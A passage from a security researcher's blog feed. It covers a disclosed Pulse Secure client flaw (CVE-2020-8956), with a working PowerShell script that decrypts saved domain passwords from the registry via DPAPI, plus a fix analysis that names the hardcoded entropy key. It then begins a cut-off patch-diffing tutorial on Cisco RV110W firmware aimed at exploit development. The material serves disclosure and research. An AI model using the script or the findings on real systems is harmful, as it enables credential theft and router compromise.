    &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$ivename&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$ive&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;PSPath&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;split&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'\'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)[&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;ToUpper&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;Write-Host&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;[+] Checking IVE &lt;/span&gt;&lt;span class=&quot;si&quot;&gt;$(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$ivename&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;...&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$seed&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;System.Text.Encoding&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;GetEncoding&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'UTF-16'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;getBytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$ivename&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;c&quot;&gt;# 3 possible value names for password&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$encrypted&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$ive&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Password1&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;kr&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$encrypted&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;){&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$encrypted&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$ive&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Password2&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;kr&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$encrypted&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;){&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$encrypted&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$ive&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Password3&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$plaintext&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Text.Encoding&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Unicode.GetString&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;([&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Security.Cryptography.ProtectedData&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Unprotect&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$encrypted&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$seed&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'CurrentUser'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Write-Host&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;[+] Password is &lt;/span&gt;&lt;span class=&quot;si&quot;&gt;$(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$plaintext&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;I also developed a post-exploitation module for Metasploit so if pentesters land on a laptop with an outdated version of Pulse Secure they can get plaintext domain credentials. No need to pass the hash anymore :)&lt;/p&gt;

&lt;p&gt;The module is currently &lt;a href=&quot;https://github.com/rapid7/metasploit-framework/pull/14314&quot;&gt;being reviewed&lt;/a&gt;.&lt;/p&gt;

&lt;h3 id=&quot;how-do-we-even-fix-this-&quot;&gt;How do we even fix this ?&lt;/h3&gt;

&lt;p&gt;I’m totally aware that any credentials saving feature will need access to plaintext &lt;em&gt;at some point&lt;/em&gt;. The data protection API is not bulletproof once you execute code with your victim’s privileges. This is known and accepted, even by &lt;a href=&quot;https://www.rapid7.com/db/modules/post/windows/gather/enum_chrome&quot;&gt;browsers&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;However, we’re talking about access to the victim’s domain credentials in plaintext without any kind of privilege escalation required. My initial recommendation to Pulse Secure was to save the encrypted password to a file. They were already using a file only readable/writable by SYSTEM to save the cached username, so why not the encrypted password too ?&lt;/p&gt;

&lt;p&gt;From my point of view this would align with Windows way of working. You would need to elevate to SYSTEM in order to be able to dump the plaintext password from Pulse Secure. At this point you would already be able to dump local hashes and executes pass-the-hash attacks, so Pulse Secure client would not bring more risk by being installed.&lt;/p&gt;

&lt;h3 id=&quot;the-fix---pulse-secure-connect-91r4&quot;&gt;The fix - Pulse Secure Connect 9.1r4&lt;/h3&gt;

&lt;p&gt;On February 10th of 2020, Pulse Secure PSIRT provided me with a new release (9.1r4) confirming they fixed the issue. I installed it and then reverse engineered it to validate their claim.&lt;/p&gt;

&lt;p&gt;User data is still saved in the registry:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Windows Registry Editor Version 5.00

[HKEY_USERS\S-1-5-21-2592061101-2384323966-494121415-1000\Software\Pulse Secure\Pulse\User Data]

[HKEY_USERS\S-1-5-21-2592061101-2384323966-494121415-1000\Software\Pulse Secure\Pulse\User Data\ive:a165fb2afc26784dbd1403a2fd1573f7]
&quot;Password1&quot;=hex:7b,00,63,00,61,00,70,00,69,00,7d,00,20,00,31,00,2c,00,30,00,31,\
  00,30,00,30,00,30,00,30,00,30,00,30,00,64,00,30,00,38,00,63,00,39,00,64,00,\
  64,00,66,00,30,00,31,00,31,00,35,00,64,00,31,00,31,00,31,00,38,00,63,00,37,\
  00,61,00,30,00,30,00,63,00,30,00,34,00,66,00,63,00,32,00,39,00,37,00,65,00,\
  62,00,30,00,31,00,30,00,30,00,30,00,30,00,30,00,30,00,35,00,38,00,35,00,35,\
--snip--
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;However, the format changed a little. If we decode the ‘Password1’ registry value as ASCII hexadecimal, we get this:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;{capi}
1,01000000d08c9ddf0115d1118c7a00c04fc297eb010000005855f90b0dd16b4791ac8f18b8132b2c000000000800000046005300570000001066000000010000200000002bb709607477b4ecbda0a5c069cc7556fc6047fd6ebcbbda683f315adc6214e2000000000e8000000002000020000000e969de12c7053409498fcf3fe67475ab13769d550cc0caea170295e40e524bff20000000fe0ff71306260a18547e6956696f3040c42136b74735bf1a897a4e402dbd5a1140000000e53838f473ce6631ebecd41ddda8fd28f5a3bc506ea555a73e5ff6b321bd6fb44eb47fb117b5b6104529a4123686cf9d5599e88a9dd4949227541e3a216ed42b
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The long value after the colon is likely a DPAPI encrypted value given the value &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;01000000d08c9ddf0115d1118c7a0&lt;/code&gt; at the start.&lt;/p&gt;

&lt;p&gt;I tried to decrypt the value using the IVE value as entropy parameter, no luck. I tried without an entropy parameter, no luck either.&lt;/p&gt;

&lt;p&gt;By looking around I found that they moved the DPAPI calls for user data to the Pulse Secure service running in the background. User data management is performed by a DLL (&lt;em&gt;C:\Program Files (x86)\Common\Pulse Secure\Connection Manager\ConnectionManagerService.dll&lt;/em&gt;) loaded by Pulse Secure service.&lt;/p&gt;

&lt;p&gt;By tracing calls to CryptProtectData, I came upon the function below (variables renamed for readability). We can see that it receives the user’s password to save and builds a DATA_BLOB structure for the entropy parameter.&lt;/p&gt;

&lt;p class=&quot;foo&quot;&gt;&lt;img src=&quot;https://quentinkaiser.be/assets/pulse_secure_91r4_reversing.png&quot; alt=&quot;reversing91r4&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Building pOptionalEntropy DATA_BLOB is performed in the function below. We can see that it sets the length (cbData) to 0x10 and makes pbData point to a hardcoded address in the binary:&lt;/p&gt;

&lt;p class=&quot;foo&quot;&gt;&lt;img src=&quot;https://quentinkaiser.be/assets/pulse_secure_91r4_reversing_2.png&quot; alt=&quot;reversing91r4_2&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Data representation sucks in Ghidra, so let’s switch to Radare2:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;[0x10053630]&amp;gt; s 0x10089f14
[0x10089f14]&amp;gt; px
- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF
0x10089f14  7b4c 6492 b771 64bf 81ab 80ef 044f 01ce  {Ld..qd......O..
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The entropy value is set to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;7B4C6492B77164BF81AB80EF044F01CE&lt;/code&gt;, we confirmed it by loading it with &lt;a href=&quot;https://www.nirsoft.net/utils/dpapi_data_decryptor.html&quot;&gt;DataProtectionDecryptor.exe&lt;/a&gt;:&lt;/p&gt;

&lt;p class=&quot;foo&quot;&gt;&lt;img src=&quot;https://quentinkaiser.be/assets/dpapi_decryptor_results.png&quot; alt=&quot;dpapi_decryptor_results.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;What’s really interesting here is that the DPAPI key is stored in &lt;em&gt;C:\Windows\Sysnative\Microsoft\Protect\S-1-5-18\User\0AB0296F-01B7-4BC3-90A2-7CBB48201253&lt;/em&gt;. Looking at the SID value (S-1-5-18), we know the key belong to Local System, which makes sense given that the Pulse Secure service runs as SYSTEM. This means we cannot recover the plaintext password unless we elevate our privileges first.&lt;/p&gt;

&lt;h3 id=&quot;recommendations&quot;&gt;Recommendations&lt;/h3&gt;

&lt;p&gt;We recommend you to upgrade your Pulse Secure Connect clients to the latest versions: 9.1R4 and 9.0R5. If you don’t want to give your users the ability to save credentials, you can either disable that option via &lt;a href=&quot;https://docs.pulsesecure.net/WebHelp/PDC/9.0R1/Content/PDC_AdminGuide_9.0R1/Pulse_Secure_Connection_Set.htm&quot;&gt;Pulse Policy&lt;/a&gt; or rely on &lt;a href=&quot;https://docs.pulsesecure.net/WebHelp/PDC/9.0R1/Content/PDC_AdminGuide_9.0R1/Machine_Authentication_for_1.htm&quot;&gt;machine authentication&lt;/a&gt; by using machine certificates rather than passwords.&lt;/p&gt;

&lt;h3 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h3&gt;

&lt;p&gt;This whole thing is a really good opportunity to reflect on what constitutes a security vulnerability, and what should be considered when making risk assessments. Should the ability to recover the plaintext password of a user be considered a security issue when it affects the exact feature that is expected to do that ? What if the password is actually the domain password ? How do we properly balance between security and usability when choosing whether end users have the ability to save their credentials or not ?&lt;/p&gt;

&lt;p&gt;Yes, other ways to abuse Pulse Secure client in order to gain access to the plaintext password still exists. A malicious process could attach to Pulse.exe to get the plaintext when entered by the user on first use, or a keylogger could simply get the user’s password when the victim is typing it. However, attaching with a debugger on a live production machine should make way more noise than dumping a single registry value and calling a DPAPI function, at least in companies with mature security controls.&lt;/p&gt;

&lt;p&gt;Answers to these open questions are left as an exercise to the reader. In the end, each company will need to assess risk based on their own threat model, there’s no easy answer. At least this time, it won’t be as easy as reading a registry value.&lt;/p&gt;

&lt;h3 id=&quot;coordinated-disclosure-timeline&quot;&gt;Coordinated Disclosure Timeline&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;February 22, 2019&lt;/strong&gt; - Report sent to Pulse Secure PSIRT.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;February 23, 2019&lt;/strong&gt; - PSIRT acknowledge reception of our report.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;March 1, 2019&lt;/strong&gt; - PSIRT indicates they have involved Pulse Secure development team and are evaluating.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;March 13, 2019&lt;/strong&gt; - PSIRT indicates development team is still working with PSIRT on this.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;May 18, 2019&lt;/strong&gt; - PSIRT requests more time so they can push the fix with their next engineering release in Q3 2019. We accept.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;May 20, 2019&lt;/strong&gt; - PSIRT indicates tentative date for release is end of July.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;July 8, 2019&lt;/strong&gt; - PSIRT indicates that current plan is to merge the fix in version 9.1R3, no ETA.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;August 23, 2019&lt;/strong&gt; - PSIRT indicates that issue is fixed in version 9.1R3.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;October 15, 2019&lt;/strong&gt; - We ask for a status update, no answer. We check if released version 9.1R3 is still affected. It is.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;November 4, 2019&lt;/strong&gt; - We ask for a status update, no answer.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;December 11, 2019&lt;/strong&gt; - We ask for a status update, no answer.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;February 2, 2020&lt;/strong&gt; - PSIRT informs us that the reported issue is now fixed in 9.1R4 and 9.0R5 PCS version.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;February 13, 2020&lt;/strong&gt; - PSIRT provides reserved CVE identifier: CVE-2020-8956&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;October 27, 2020&lt;/strong&gt; - CVE-2020-8956 details are published.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;October 27, 2020&lt;/strong&gt; - Release of this blog post.&lt;/li&gt;
&lt;/ul&gt;
</description>
        <pubDate>Tue, 27 Oct 2020 10:00:00 +0000</pubDate>
        <link>https://quentinkaiser.be/reversing/2020/10/27/pule-secure-credentials/</link>
        <guid isPermaLink="true">https://quentinkaiser.be/reversing/2020/10/27/pule-secure-credentials/</guid>
      </item>
    
      <item>
        <title>Patch Diffing a Cisco RV110W Firmware Update (Part II)</title>
        <description>&lt;p&gt;This is the second part of a two part blog series on patch diffing Cisco RV firmware where I try to identify fixed flaws (namely CVE-2020-3323, CVE-2020-3330, and CVE-2020-3332). In the &lt;a href=&quot;https://quentinkaiser.be/exploitdev/2020/09/23/ghetto-patch-diffing-cisco/&quot;&gt;first part&lt;/a&gt; we identified the static credentials present in Cisco RV110 firmware up to version 1.2.2.5 included.&lt;/p&gt;

&lt;p&gt;In this post, we will perform more serious patch diffing to identify memory corruption and command injection issues in order to provide reduced test cases that can be used to develop a fully working exploit.&lt;/p&gt;

&lt;h3 id=&quot;initial-setup&quot;&gt;Initial Setup&lt;/h3&gt;

&lt;h4 id=&quot;firmware-unpacking&quot;&gt;Firmware Unpacking&lt;/h4&gt;

&lt;p&gt;First, download firmware packages from Cisco Download Center. RV130W firmware images will be used for cross-validation.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://software.cisco.com/download/home/283879340/type/282487380/release/1.2.2.8&quot;&gt;Cisco RV110W Release 1.2.2.8&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://software.cisco.com/download/home/283879340/type/282487380/release/1.2.2.5&quot;&gt;Cisco RV110W Release 1.2.2.5&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://software.cisco.com/download/home/285026141/type/282465789/release/1.0.3.54&quot;&gt;Cisco RV130W Release 1.0.3.54&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://software.cisco.com/download/home/285026141/type/282465789/release/1.0.3.52&quot;&gt;Cisco RV130W Release 1.0.3.52&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;You can then unpack each firmware image with binwalk:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-sh&quot; data-lang=&quot;sh&quot;&gt;binwalk RV110W_FW_1.2.2.5.bin

DECIMAL       HEXADECIMAL     DESCRIPTION
&lt;span class=&quot;nt&quot;&gt;--------------------------------------------------------------------------------&lt;/span&gt;
32            0x20            TRX firmware header, little endian, image size: 10715136 bytes, CRC32: 0x6320519F, flags: 0x0, version: 1, header size: 28 bytes, loader offset: 0x1C, linux kernel offset: 0x173BA4, rootfs offset: 0x0
60            0x3C            LZMA compressed data, properties: 0x5D, dictionary size: 65536 bytes, uncompressed size: 4299308 bytes
1522628       0x173BC4        Squashfs filesystem, little endian, non-standard signature, version 3.0, size: 9188808 bytes, 1074 inodes, blocksize: 65536 bytes, created: 2019-07-24 08:12:22&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;The binary we’re interested in will be located in _FIRMWARE_NAME/squashfs-root/usr/sbin/httdp.&lt;/p&gt;

&lt;h4 id=&quot;binary-diffing-with-ghidra&quot;&gt;Binary Diffing with Ghidra&lt;/h4&gt;

&lt;p&gt;I start by creating a Ghidra project named ‘RV110’ and create two subdirectories named after the firmware revision numbers.&lt;/p&gt;

&lt;p class=&quot;foo&quot;&gt;&lt;img src=&quot;https://quentinkaiser.be/assets/rv110_ghidra_project.png&quot; alt=&quot;rv110_ghidra_project&quot; /&gt;&lt;/p&gt;

&lt;p&gt;I then import the &lt;em&gt;httpd&lt;/em&gt; binary from each firmware root filesystem in its specific directory. One important thing to do is to provide the library search path so that Ghidra can also load the system libraries the binary is dynamically linked with.&lt;/p&gt;

&lt;p&gt;To do so, click on ‘Options’ then enable ‘Load external libraries’ and click on ‘Edit paths’. You should provide two paths from the firmware rootfs: &lt;em&gt;/lib&lt;/em&gt; and &lt;em&gt;/usr/lib&lt;/em&gt;.&lt;/p&gt;

&lt;p class=&quot;foo&quot;&gt;&lt;img src=&quot;https://quentinkaiser.be/assets/ghidra_load_rv110_httpd.png&quot; alt=&quot;ghidra_load_rv110_httpd.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;When each file is loaded into the project, double click on them and perform auto analysis. When the analysis is done, save the file and get back to the main window.&lt;/p&gt;

&lt;p&gt;Now that our binaries have been analyzed by Ghidra, we can launch a version tracking session. Name the session to your liking and set both versions of &lt;em&gt;httpd&lt;/em&gt; as source and destination programs:&lt;/p&gt;

&lt;p class=&quot;foo&quot;&gt;&lt;img src=&quot;https://quentinkaiser.be/assets/rv110_ghidra_version_tracking.png&quot; alt=&quot;rv110_ghidra_version_tracking&quot; /&gt;&lt;/p&gt;

&lt;p&gt;I won’t go into the finer details of Ghidra version tracking tool, but I recommend you read this excellent post by threatrack: &lt;a href=&quot;https://blog.threatrack.de/2019/10/02/ghidra-patch-diff/&quot;&gt;Patch Diffing with Ghidra - Using Version Tracking to Diff a LibPNG Update&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Once loaded, click on the magic wand button to execute “Automatic Version Tracking”. Wait for all the correlators to run and then click on the filter button on the bottom right. This will load the following window:&lt;/p&gt;

&lt;p class=&quot;foo&quot;&gt;&lt;img src=&quot;https://quentinkaiser.be/assets/ghidra_vt_match_table_filters.png&quot; alt=&quot;ghidra_vt_match_table_filters&quot; /&gt;&lt;/p&gt;

&lt;p&gt;I had the best results identifying patched functions with these exact filters. The version tracking table should list two functions:&lt;/p&gt;

&lt;p class=&quot;foo&quot;&gt;&lt;img src=&quot;https://quentinkaiser.be/assets/rv110_vt_filter_results.png&quot; alt=&quot;rv110_vt_filter_results&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The first one (FUN_0040c400) seems to be a good candidate for memory corruption issue (either CVE-2020-3323 or CVE-2020-3331). Precisely 8 calls to &lt;em&gt;strcpy&lt;/em&gt; were changed to &lt;em&gt;strncpy&lt;/em&gt; in this exact function. This function handles form submission from the setup wizard that can be launched on the web management interface to execute the device’s first configuration (WAN interface, DNS, NTP, DHCP ranges, etc). When identifying dangerous calls, I always bookmark them (Ctrl-D in Ghidra) to find
them back faster.&lt;/p&gt;

&lt;p class=&quot;foo&quot;&gt;&lt;img src=&quot;https://quentinkaiser.be/assets/rv110_vt_patch_memcorrupt.png&quot; alt=&quot;rv110_vt_patch_memcorrupt&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The second one (FUN_0041d0b0) is a patch for the information disclosure issue I reported (CVE-2020-3150):&lt;/p&gt;

&lt;p class=&quot;foo&quot;&gt;&lt;img src=&quot;https://quentinkaiser.be/assets/rv110_check_cfg_patch.png&quot; alt=&quot;rv110_check_cfg_patch.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;At this point I pretty much hit the limit of what Ghidra version tracking can do for patch diffing and I still had to identify another memory corruption vulnerability (either CVE-2020-3323 or CVE-2020-3331), so I switched to Bindiff.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt; It turned out these insecure calls were not linked to these CVEs and just happen to be cleanup performed by Cisco development team. Keep on reading to learn about the actual code responsible for these CVEs :)&lt;/p&gt;

&lt;h4 id=&quot;patch-diffing-with-bindiff&quot;&gt;Patch Diffing with Bindiff&lt;/h4&gt;

&lt;p&gt;Performing binary diffing with Bindiff requires the ability to export analyzed binaries to BinExport format. The BinExport project provides a Ghidra plugin to do so but you need to assemble the jar file yourself. This &lt;a href=&quot;https://ihack4falafel.github.io/Patch-Diffing-with-Ghidra/&quot;&gt;excellent guide&lt;/a&gt; by Hashim Jawad will guide you through the installation steps.&lt;/p&gt;

&lt;p&gt;I had GLIBC version issues with the latest version of Bindiff so if you encounter the same problem, just use version 5 instead of version 6.&lt;/p&gt;

&lt;p&gt;First thing first, let’s export our analyzed httpd binaries to Bindiff format. Right click on the file, then click on ‘Export’.&lt;/p&gt;

&lt;p class=&quot;foo&quot;&gt;&lt;img src=&quot;https://quentinkaiser.be/assets/rv110_export_to_bindiff.png&quot; alt=&quot;rv110_export_to_bindiff&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Select ‘Binary BinExport (v2) for BinDiff’ as format and set your output filename:&lt;/p&gt;

&lt;p class=&quot;foo&quot;&gt;&lt;img src=&quot;https://quentinkaiser.be/assets/rv110_export_to_bindiff_2.png&quot; alt=&quot;rv110_export_to_bindiff_2&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Repeat the operation for both file and launch BinDiff (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;bindiff -ui&lt;/code&gt; on Linux).&lt;/p&gt;

&lt;p&gt;Create a new workspace (‘File’ -&amp;gt; ‘New Workspace’) and create a new diff within that workspace (‘Diffs’ -&amp;gt; ‘New Diffs…’):&lt;/p&gt;

&lt;p class=&quot;foo&quot;&gt;&lt;img src=&quot;https://quentinkaiser.be/assets/rv110_bindiff_newdiff.png&quot; alt=&quot;rv110_bindiff_newdiff&quot; /&gt;&lt;/p&gt;

&lt;p&gt;BinDiff will present you with a nice table of matched functions, order them by similarity ratio to get the one that differs the most first:&lt;/p&gt;

&lt;p class=&quot;foo&quot;&gt;&lt;img src=&quot;https://quentinkaiser.be/assets/rv110_bindiff_matched_funcs.png&quot; alt=&quot;rv110_bindiff_matched_funcs&quot; /&gt;&lt;/p&gt;

&lt;p&gt;After a while, I had bookmarked all interesting code sections in Ghidra. A lot of insecure calls have been cleaned up by the development team, even if not exploitable per se.&lt;/p&gt;

&lt;p class=&quot;foo&quot;&gt;&lt;img src=&quot;https://quentinkaiser.be/assets/rv110_ghidra_bookmarks.png&quot; alt=&quot;rv110_ghidra_bookmarks&quot; /&gt;&lt;/p&gt;

&lt;p&gt;I’ll go over each CVE in the next sections.&lt;/p&gt;

&lt;h3 id=&quot;finding-cve-2020-3323&quot;&gt;Finding CVE-2020-3323&lt;/h3&gt;

&lt;p&gt;CVE-2020-3323 is described as “&lt;em&gt;A vulnerability in the web-based management interface of Cisco Small Business &lt;strong&gt;RV110W, RV130, RV130W, and RV215W Routers&lt;/strong&gt; could allow an &lt;strong&gt;unauthenticated, remote attacker to execute arbitrary code&lt;/strong&gt; on an affected device.&lt;/em&gt;”.&lt;/p&gt;

&lt;p&gt;At first I thought this memory corruption was linked to insecure calls to strcpy that were fixed between revision 1.2.2.5 and 1.2.2.8, but it did not make sense as these calls were unreachable from an unauthenticated context. After a while, I finally identified what triggered the memory corruption: an insecure call to &lt;em&gt;sscanf&lt;/em&gt; in the &lt;em&gt;guest_logout_cgi&lt;/em&gt; function.&lt;/p&gt;

&lt;p&gt;The function is quite large but the pseudo-code below should give you the gist of it:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;acStack172&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;64&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;acStack108&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;68&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
